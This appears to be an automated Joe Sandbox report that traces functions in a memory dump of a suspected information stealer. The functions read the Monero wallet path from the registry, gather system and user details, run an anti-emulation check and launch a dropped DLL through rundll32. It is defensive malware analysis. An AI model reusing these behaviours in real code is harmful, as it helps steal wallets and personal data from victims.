Opcode Fuzzy Hash: 1dbf5f0b0fb7fdee8ff26eaefef28e2aff589689479ce921f87ce0c0501343ba
Instruction Fuzzy Hash: 26111EB590021DAFDB10DF90DC89FEAB7BDEB04309F4041E6A659E2052D6759F888F14

Function 00401A51 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00401A65
HeapAlloc.KERNEL32(00000000), ref: 00401A6C
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00401AE9), ref: 00401A89
RegQueryValueExA.ADVAPI32(00401AE9,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401AA4

Strings

wallet_path, xrefs: 00401A9C
SOFTWARE\monero-project\monero-core, xrefs: 00401A7F

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: SOFTWARE\monero-project\monero-core$wallet_path
API String ID: 3676486918-4244082812
Opcode ID: a5e24b5ddb51d912181c50f90018660561fe2ac3b2e44d97ef68947e51336ceb
Instruction ID: 53acc371e07144810ae120d98390ef4438e1254b635cfb1d3d0c05d34c9dce0f
Opcode Fuzzy Hash: a5e24b5ddb51d912181c50f90018660561fe2ac3b2e44d97ef68947e51336ceb
Instruction Fuzzy Hash: 45F05475780304BFFF14DB90DC0EFAE7A7DDB44B06F141065B601A51D0E6B66A509624

Function 00411757 Relevance: 9.1, APIs: 6, Instructions: 58commemoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0041175E
CoCreateInstance.OLE32(004331B0,00000000,00000001,0043B00C,?,00000018,00411901,?), ref: 00411781
SysAllocString.OLEAUT32(?), ref: 0041178E
_wtoi64.MSVCRT ref: 004117C1
SysFreeString.OLEAUT32(?), ref: 004117DA
SysFreeString.OLEAUT32(00000000), ref: 004117E1

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$Free$AllocCreateH_prolog3_catchInstance_wtoi64
String ID:
API String ID: 181426013-0
Opcode ID: ce1fbcf0cb519481890ae54680449d2f23596a8cb5c2b42a24ed52c41b156def
Instruction ID: af18a880466fc4aa13f3874e26697bbc89a3619d57557fd4e8cfd36f99de9a7f
Opcode Fuzzy Hash: ce1fbcf0cb519481890ae54680449d2f23596a8cb5c2b42a24ed52c41b156def
Instruction Fuzzy Hash: D0114C70A0020ADFCB019FA4DC989EEBBB5AF49314F64417EF215E72A0CB394945CB68

Function 004010F0 Relevance: 9.1, APIs: 6, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,001E5D70,00003000,00000004), ref: 004010AA
_memset.LIBCMT ref: 004010D0
VirtualFree.KERNEL32(00000000,001E5D70,00008000), ref: 004010E6
GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,00418616), ref: 00401100
VirtualAllocExNuma.KERNEL32(00000000), ref: 00401107
ExitProcess.KERNEL32 ref: 00401112

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocProcess$CurrentExitFreeNuma_memset
String ID:
API String ID: 1859398019-0
Opcode ID: bae1ea6a02baa2dc14e1a9a74dae1c9cc88f6503dfd397aa259a8d0d5464b355
Instruction ID: a3c9baa8e3236edb9a3c173d747cc6cf9767caf9e9e42cd5afe8a70771407b79
Opcode Fuzzy Hash: bae1ea6a02baa2dc14e1a9a74dae1c9cc88f6503dfd397aa259a8d0d5464b355
Instruction Fuzzy Hash: B6F0C87238121477F22412753C6EF6B1A6C9B41F56F205035F309FB2D0D6699804967C

Function 00412962 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

ShellExecuteEx.SHELL32(?), ref: 00412B84

Strings

C:\ProgramData\, xrefs: 00412995
"" , xrefs: 00412A32
C:\Windows\system32\rundll32.exe, xrefs: 00412AE3
.dll, xrefs: 004129ED

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 67a26213ff635bbfa6aa4725f911ced8336802ec5b019181fb361b41e7d296e5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 67a26213ff635bbfa6aa4725f911ced8336802ec5b019181fb361b41e7d296e5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 4d8cb39ea1b4ed54e3f300870354dc2ae51ec867f2c68628d2f900bf81ddc056
Instruction ID: e16faae0c81c60b5e598804f18e2624829d9ce3e19401eba06f84191a032fb08
Opcode Fuzzy Hash: 4d8cb39ea1b4ed54e3f300870354dc2ae51ec867f2c68628d2f900bf81ddc056
Instruction Fuzzy Hash: 94118671A1011CABCB21EB65DD86FDD73BCAB18704F4000A6B645E7191DAB8AFC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 89584d483760bb67fc1af027f289555508cfc257cac48e06a2fd8cf4475c7de8
Instruction ID: 5dcbff83f2e118e0c4558aaad003bfdfd7763a9b2ecc3f626fa71ae20ae50975
Opcode Fuzzy Hash: 89584d483760bb67fc1af027f289555508cfc257cac48e06a2fd8cf4475c7de8
Instruction Fuzzy Hash: C60186B1A00218ABEB08DFB4DC45AEEB7BDEF08705F04006AF602D7290EA7599818758

Function 00410B30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B44
HeapAlloc.KERNEL32(00000000,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B4B
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B79
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00413E95,Windows: ,004368A0), ref: 00410B95

Strings

Windows 11, xrefs: 00410B5C

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: Windows 11
API String ID: 3676486918-2517555085
Opcode ID: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction ID: c636f12a4b9fd3341eb7223670fa9a8d4496e2c02347a6f2be12f88bf3247473
Opcode Fuzzy Hash: e3368c902befc4cf7a45888ed36aa8236a31042c29ba286c6ff82d11e2c4ce16
Instruction Fuzzy Hash: 1AF06875600304FBFF149BD1DC4AFAB7A7EEB4470AF1410A5F601D5190E7B6AA909714

Function 00410BA9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 36memoryregistryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BBD
HeapAlloc.KERNEL32(00000000,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BC4
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ,004368A0), ref: 00410BE2
RegQueryValueExA.KERNEL32(00436888,CurrentBuildNumber,00000000,00000000,00000000,000000FF,?,?,?,00410C1B,00410B58,?,?,?,00413E95,Windows: ), ref: 00410BFD

Strings

CurrentBuildNumber, xrefs: 00410BF5

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3676486918-1022791448
Opcode ID: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction ID: adfa9e2f60a12e4d5f9b95a3627e322926d469c0f3b43989f67d349f50e983ff
Opcode Fuzzy Hash: c84c6eb54361118da4c3cf5dc7048b6cc90d818083839d71d976e1457e1e6126
Instruction Fuzzy Hash: E9F09075640304BBEF159B90DC0AFAF7A7EEB44B06F240055F601A50A0E6B25A909B50

Function 0041BD6B Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,75BF74F0,?,0041CD38,?,0041CDC6,00000000,06400000,00000003,00000000,004176C9,.exe,00436C5C), ref: 0041BDB8
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,75BF74F0,?,0041CD38,?,0041CDC6,00000000,06400000,00000003,00000000), ref: 0041BDF0

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: a7fcab5fc76b215fc153f0a7a8fa390ecf3d52f3273933f240fd58eae568e075
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: C83143B0544B04DFDB348F259884BE77AE8EB14358F108A2FE2D686681D73998C4DB99

Function 6C52C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C52C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C52C969
GetSystemInfo.KERNEL32(?), ref: 6C52C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C52C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C52C9E2

Memory Dump Source

Source File: 00000003.00000002.2661579795.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000003.00000002.2661555078.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662400593.000000006C58D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662618873.000000006C59E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2662699204.000000006C5A2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c510000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 743ad9ba178558877cd58863c72fe045ae92a40ff35b6a5f713e402a9c9f5b19
Instruction ID: b718fa69326062dfc4f54fe07fb295f5af6a4f5bbf93e191d44b1700fcb0c4ca
Opcode Fuzzy Hash: 743ad9ba178558877cd58863c72fe045ae92a40ff35b6a5f713e402a9c9f5b19
Instruction Fuzzy Hash: C321DA71741218ABEB14BF24DC84BAE73B9EB46704F520519F947A7681EB60BC048794

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,004172BE,004366CF,004366CE,?,?,?,?,004186D9), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: c9438e9efdc411056bb324c4e7a53eb82b475557c180a79d7391348954785ef6
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: c9438e9efdc411056bb324c4e7a53eb82b475557c180a79d7391348954785ef6
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416F10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416F17
lstrlenA.KERNEL32(?,0000001C), ref: 00416F22
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416FA6

Strings

ERROR, xrefs: 00416F9E

Memory Dump Source

Source File: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2592313057.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2592313057.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
